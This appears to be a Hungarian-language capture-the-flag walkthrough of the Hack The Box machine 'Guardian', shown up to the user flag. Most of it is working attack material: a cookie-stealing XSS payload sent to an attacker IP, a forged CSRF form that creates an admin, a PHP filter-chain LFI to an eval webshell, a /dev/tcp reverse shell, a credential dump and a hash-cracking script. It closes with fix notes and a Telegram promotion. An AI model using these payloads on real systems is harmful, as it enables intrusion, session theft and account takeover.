Guardian — Hack The Box (user flagig)
Platform: Linux
IP: 10.10.11.84
Nehézség: Hard
Szerző: NoSec
mélyebbre mennél? csatlakozz a backdoor crew-hoz és kapj exkluzív videókat & korai hozzáférést a root chainekhez.
💀 csatlakozz a backdoor crew-hoz/etc/hosts
szerkesztése
IP=<TARGET_IP> # pl.: 10.10.11.84 (cseréld a saját HTB IP-re)
sudo sh -c "printf '%s %s\n' $IP 'guardian.htb portal.guardian.htb gitea.guardian.htb' >> /etc/hosts"
Felderítés – Szolgáltatás-feltérképezés
Nmap (gyors, összes port + script + verzió)
mkdir -p scans
nmap -p- --min-rate 10000 -T4 -oA scans/ports guardian.htb
nmap -sCV -p22,80 -oA scans/svcs guardian.htb
Várható fő pontok:
- 22/tcp OpenSSH 8.9p1
- 80/tcp Apache 2.4.52 → „Guardian University” landing oldal
A lényeg:
- 22/tcp SSH
- 80/tcp HTTP (guardian.htb
→ marketing oldal; innen jutunk portal.guardian.htb
-ra)
Webes felderítés → portál aldomain + alap belépők
1) Nyisd meg a http://guardian.htb/
oldalt és nézd meg a forráskódot / elemeket — találsz utalást a portal.guardian.htb
(diákportál) aldomainre.
2) http://portal.guardian.htb/
→ bejelentkező oldal. A Help/Guide link kimondja, hogy az alapértelmezett jelszó: GU1234
.
3) A landing oldalon minta diák e-mailek is vannak; a felhasználónév formátuma a diák ID-t követi. Próbáld az elsőt:
felhasználónév: GU0142023
jelszó: GU1234
Ezzel Student szerepkörrel bejelentkezel.
Chat-enumeráció → munkatársi credsek (pivot Giteára)
A portálon van egy chat nézet, tömbös paraméterezéssel:
/student/chat.php?chat_users[0]=X&chat_users[1]=Y
A Student session sütiddel kis sorszám-tartományt enumerálva találhatsz beszélgetéseket, amelyek hitelesítési adatokat szivárogtatnak.
mkdir -p loot
echo {1..20} | tr ' ' '\n' > ids.txt
# Cseréld ki a böngésződből kimásolt valós session értékre
COOKIE='PHPSESSID=rot1bg6eg8f8t0tpu843qldn0h'
ffuf -u 'http://portal.guardian.htb/student/chat.php?chat_users[0]=FUZZ1&chat_users[1]=FUZZ2' \
-w ids.txt:FUZZ1 -w ids.txt:FUZZ2 -mode clusterbomb \
-H "Cookie: $COOKIE" -fl 178 -fl 164 -o loot/chat_enum.json
A találatok között lesz olyan thread, ahol egy munkatárs megosztja a Gitea belépőt és a vhostot:
VHOST: gitea.guardian.htb
felhasználónév: jamil.enockson@guardian.htb
jelszó: DHsN<pass>
Lépj be a http://gitea.guardian.htb/
felületen ezekkel az adatokkal.
Portál forrás (Gitea) olvasása → XLSX → tárolt XSS eszköz
A portal.guardian.htb
repóban látszik, hogy a rendszer a feltöltött XLSX fájlokat PhpSpreadsheet HTML writerrel konvertálja. A sheet-navigáció felépítése nyers sheet címeket használ → ha kontrolláljuk a sheet címét és legalább két sheet van (hogy megjelenjen a navigáció), akkor tárolt XSS-t kapunk előnézetkor.
Terv: feltöltünk egy rosszindulatú XLSX-et; amikor egy Lecturer megnyitja az előnézetet, a JS kiszedi a PHPSESSID-jét.
XLSX elkészítése
Hozz létre egy munkafüzetet 2 sheettel. Az egyik sheet címébe tedd az XSS payloadot (olyan szerkesztőt használj, ami engedi a speciális karaktereket). Példa:
"><img src=x onerror="fetch('http://TAMADO_IP:8000/x?c='+btoa(document.cookie))">
Export .xlsx
-ként.
Lisener indítása
# egyszerű HTTP fogó a támadó gépen
sudo python3 -m http.server 8000
# (vagy: sudo tcpdump -A -i tun0 'tcp port 8000')
Feltöltés & várakozás
Töltsd fel az XLSX-et a portál felületén (assignment/preview). Amikor egy Lecturer megnyitja (a szerver HTML-t renderel), a lisener kap egy kérést, pl.:
# példa
echo UEhQU0VTU0lEPWs2N3I4aGNvMjNnOGh0dXFiNThlNDd2azI5 | base64 -d
# PHPSESSID=k67r8hco23g8htuqb58e47vk29
Állítsd be a böngésződben a portal.guardian.htb
cookie-ját erre a PHPSESSID
-re és frissíts → már Lecturer vagy.
Lecturer → Admin (CSRF token-pool hiba)
A kódban (pl. admin/createuser.php
) a CSRF tokenek egy globális JSON poolba kerülnek minden oldalbetöltéskor, és az ellenőrzés csak tagságot vizsgál — a tokeneket sosem törlik. Bármelyik ismert token korlátlan ideig érvényes → ideális CSRF új Admin létrehozásához.
CSRF oldal hosztolása
Mentsd csrf-admin.html
néven és szolgáld ki (pl. python3 -m http.server 8000
):
<!doctype html>
<form id="f" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
<input type="hidden" name="username" value="nosec">
<input type="hidden" name="password" value="P@ssw0rd123!!">
<input type="hidden" name="full_name" value="nosec User">
<input type="hidden" name="email" value="nosec@example.com">
<input type="hidden" name="dob" value="1990-01-01">
<input type="hidden" name="address" value="123 Hackers Street">
<input type="hidden" name="user_role" value="admin">
<!-- bármelyik tokens.json-ben szereplő token jó; ez csak példa -->
<input type="hidden" name="csrf_token" value="4263a883187460991d60f1bf9c6d332f">
</form>
<script>document.getElementById('f').submit()</script>
Rábírni az admint a megnyitásra
Használj olyan felületet, amit az admin biztosan megnéz (pl. Notice Board) és oda tedd ki a linked. Amint az admin megnyitja, létrejön a fiókod:
felhasználónév: nosec
jelszó: P@ssw0rd123!!
Lépj be az Admin panelre.
LFI → webshell PHP filter lánccal (Admin/Reports)
Az Admin → Reports a ?report=
paraméterből tölt be fájlt, és megpróbál egy allowlistet erőltetni:
enrollment.php | academic.php | financial.php | system.php
. Tiltja a ..
-t, és ilyen regexet használ:
preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)
Ezt megkerülhetjük egy PHP filter chain-nel, ami dekódol egy payloadot (pl. <?php eval($_POST["a"]);?>
), majd a végére hozzáfűzzük ,system.php
-t, hogy átmenjen a regexen.
Filter chain generálása
Használj generátort (publikus „php filter chain generator” scriptek elérhetők), hogy kódold a minishellt:
python3 php_filter_chain_generator.py --chain '<?php eval($_POST["a"]);?>' \
| tee loot/php_filter_chain.txt
Kimenet jellegzetesen ilyesmi:
php://filter/convert.iconv.utf-8.utf-16le|convert.base64-decode|.../resource=....
Betöltés kiváltása a vesszős trükkel
Nyisd meg (cseréld <CHAIN>
-re a generátor kimenetét):
http://portal.guardian.htb/admin/reports.php?report=<CHAIN>,system.php
Reverse shell szerzése
# lisener a támadó gépen
rlwrap -q 0 nc -lvnp 4444
# kiváltás a támadóról
curl -X POST 'http://portal.guardian.htb/admin/reports.php?report=<CHAIN>,system.php' \
-d 'a=system("bash -c \"bash -i >& /dev/tcp/TAMADO_IP/4444 0>&1\"");'
Shell www-dataként.
DB credsek zsákmányolása → felhasználó hashek dumpja
A célgépen nézd meg a portokat:
ss -tuln
# várható: 127.0.0.1:3306 (MySQL), esetleg 127.0.0.1:3000 (Gitea)
Keresd ki a portál konfigból a DB belépőket (a Gitea repóban is látható):
cd /var/www/html/portal.guardian.htb 2>/dev/null || cd ~
grep -RIn "host\|user\|pass\|dbname\|salt" . 2>/dev/null
Kapcsolódás és a users tábla dumpja:
mysql -u <db_user> -p'<db_pass>' -h 127.0.0.1 portal \
-e "select username,password_hash from users" | tee loot/users_hashes.txt
A konfigban találsz egy globális SALT
-ot is, pl.:
SALT="8Sb)tM1vs1SS"
sha256(password + SALT)
törése → jamil
beszerzése
Egyszerű törő (a hashes.txt
formátuma: user:hash
soronként):
# crack.py
import hashlib
SALT = "8Sb)tM1vs1SS" # a portál konfigból
WL = "/usr/share/wordlists/rockyou.txt"
pairs = [l.strip().split(":", 1) for l in open("hashes.txt")]
def h(p): return hashlib.sha256((p + SALT).encode()).hexdigest()
for user, target in pairs:
with open(WL, "r", encoding="latin-1", errors="ignore") as f:
for pwd in f:
pwd = pwd.strip()
if h(pwd) == target:
print(f"[+] {user}:{pwd}")
break
hashes.txt
példa:
admin:694a63de406521120d9<HASH>
jamil.enockson:c1d8dfaeee103<HASH>
mark.pargetter:8623e713...
Futtatás:
python3 crack.py
# [+] admin:fak<PASS>
# [+] jamil.enockson:copp<PASS>
User megszerzése
TTY upgrade és userváltás:
# a www-data shellben
script -qc /bin/bash /dev/null
python3 -c 'import pty,os; pty.spawn("/bin/bash"); os.setsid();'
stty raw -echo; fg; reset
su - jamil
# jelszó: copperhouse56
cat ~/user.txt
✅ User flag megszerezve.
Védelmi megjegyzések / javítás
- Alap portáljelszó
GU1234
: kényszerített csere első belépéskor; rate limit + lockout. - PhpSpreadsheet HTML writer: sheet címek escapelése vagy frissítés; szerveroldali szanálás renderelés előtt.
- CSRF token-pool: legyen sessionhöz kötött, egyszer használatos, és járjon le; ne legyen globális, sosem ürülő lista.
?report=
include: szigorú szerveroldali allowlist; tiltsd aphp://
/filter láncokat és a felhasználó által kontrollált dekódolást.- Jelszavak: modern KDF (Argon2id/bcrypt/scrypt) per-user véletlen sóval; ne legyen újrafelhasználás szolgáltatások között.
🔐 A root rész csak a privát Telegram csoportban érhető el, amíg a gép aktív.
👉 Csatlakozz a teljes writeupért, extra tippekért és belsős tartalmakért:
📡 https://t.me/nosecpwn
☕ hívj meg egy kávéra, hogy ne aludjak el a következő writeup írása közben
💻 támogasd a nosec-et